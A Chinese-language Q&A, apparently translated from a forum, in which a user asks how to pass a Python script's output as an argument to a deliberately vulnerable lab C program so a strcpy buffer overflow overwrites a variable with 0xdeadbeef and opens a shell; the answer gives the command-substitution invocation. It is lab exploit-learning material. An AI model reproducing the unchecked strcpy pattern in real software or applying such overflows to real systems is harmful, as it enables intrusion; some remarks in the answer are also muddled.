我想通过管道传输 python 文件的标准输出exploit1.py
,使其被接受为 C 可执行文件的命令行参数lab2C.c
。我的目的是溢出 char 缓冲区,lab2C.c
以便内存泄漏到int set_me
.这将导致 main() 中的条件语句调用 shell() 函数,即使我没有输入任何一个正确的密码。
问题在于exploit1.py
和lab2C.c
位于不属于同一本地路径的两个不同目录中。exploit1.py
位于/tmp
。lab2C
并lab2C.c
位于/levels/lab02
.如何通过管道将 stdoutexploit1.py
接受为 main 函数参数lab2C
?
以下是两个文件供参考:
利用1.py:
def main():
print("aaabbbcccdddeee\xef\xbe\xad\xde")
main()
lab2C.c:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void shell()
{
printf("You did it.\n");
system("/bin/sh");
}
int main(int argc, char** argv){
if(argc != 2)
{
printf("usage:\n%s string\n", argv[0]);
return EXIT_FAILURE;
}
int set_me = 0;
char buf[15];
strcpy(buf, argv[1]);
if(set_me == 0xdeadbeef)
{
shell();
}
else
{
printf("Not authenticated.\nset_me was %d\n", set_me);
}
return EXIT_SUCCESS;
}
答案1
您的 C 程序不会从标准输入读取数据,因此无法通过管道向其传输任何内容。但它需要命令行参数,因此您必须将其调用为
/levels/lab02/lab2C.exe "$(python /tmp/exploit1.py)"
如果您当前位于/levels/lab02
,那么这可能会缩短为
./lab2C.exe "$(python /tmp/exploit1.py)"
.exe
请注意,在 Unix 上为可执行文件添加后缀并不常见。您的代码中也存在错误(缓冲区溢出和缺少标头),并且 Python 代码中的字符串没有执行您认为的操作(斜杠可能应该是反斜杠)。